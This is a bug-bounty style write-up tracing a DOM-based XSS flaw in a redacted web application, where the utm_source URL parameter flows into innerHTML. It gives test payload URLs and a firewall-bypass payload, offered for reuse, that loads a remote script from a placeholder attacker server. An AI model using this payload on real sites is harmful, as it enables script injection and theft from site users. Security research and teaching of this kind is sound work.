Breaking Down DOM-based XSS: A Practical Exploration
Hi Folks, I hope you are all doing well.
This write-up is about DOM XSS and how you can hunt for DOM XSS by simply doing Source Code analysis of the client-side JavaScript.
During an analysis of the client-side code of a web application, a security vulnerability was discovered. The vulnerability allows for a DOM-based Cross-Site Scripting (XSS) attack.
The vulnerability stems from the mishandling of user inputs retrieved from the URL parameters. The application fetches two parameters, utm_source, and utm_campaign, using the window.location.search
function. The parameters are then passed to a getUrlParamter()
function.
This function aims to extract the value of a specific parameter (in this case, 'utm_source'
or 'utm_campaign'
)from a URL query string and decode it, before returning it, for example, if the URL is something like this https://exapmle.com/redact?utm_source=hello The below code from Figure 1 will be executed.
queryString = window.location.search,utm_source = getUrlParameter(‘utm_source’, queryString),
The getUrlParamter('utm_source', queryString)
function will return the value of the utm_source
parameter hello and will store it in the utm_source
varaible, same is for the utm_campaign
parameter.
In Figure 3, if the utm_campaign
parameter value is set to “closedDomains”, the application executes a switch case statement based on the value of utm_source. If no matching case is found, the application calls the brandName()
function with the value of utm_source as a parameter.
In Figure 4, the brandName
function is designed to either hide elements with the class .js-brandname-container
or set the inner HTML of elements with the class .js-brandname
based on the value of the brandName
function parameter. If the brandName
value is set to false
, it hides the specified elements; otherwise, it sets their inner HTML to the provided value of the brandName
As we already know from Figure 3 that we can control the value of the parameter passed to the the functionbrandName(utm_source)
with URL parameter utm_source
, we can now inject HTML tags and potentially execute arbitrary JavaScript code.
Now assesmbling the pieces for the final payload.
https://exapmle.com/redact?utm_source=%3ch1%3eHTML_Injection%3c%2fh1%3e&utm_campaign=closedDomains
Great, HTML tag created sucessfully, now let’s try for XSS.
https://exapmle.com/redact?utm_source=%3cscript%3ealert(1)%3c%2fscript%3e&utm_campaign=closedDomains
Akamai Firewall came to the rescue, now despite the potential presence of the (WAF), I managed to successfully bypass it to execute the XSS attack, feel free to use this payload.
<button style=”color:red” popovertarget=”x” value=”Click me”>Click Me</button><hvita onbeforetoggle=with(document){xx=createElement(‘script’);xx.setAttribute(‘src’,’https://your-server/x.js');body.appendChild(xx)} popover id=x>Hvita</hvita>
Replace the https://your-server/x.js with your own server where you have uploaded the JavaScript file which will execute your payload.
Click on the Click Me Button, and there you go.
Thank you for Reading.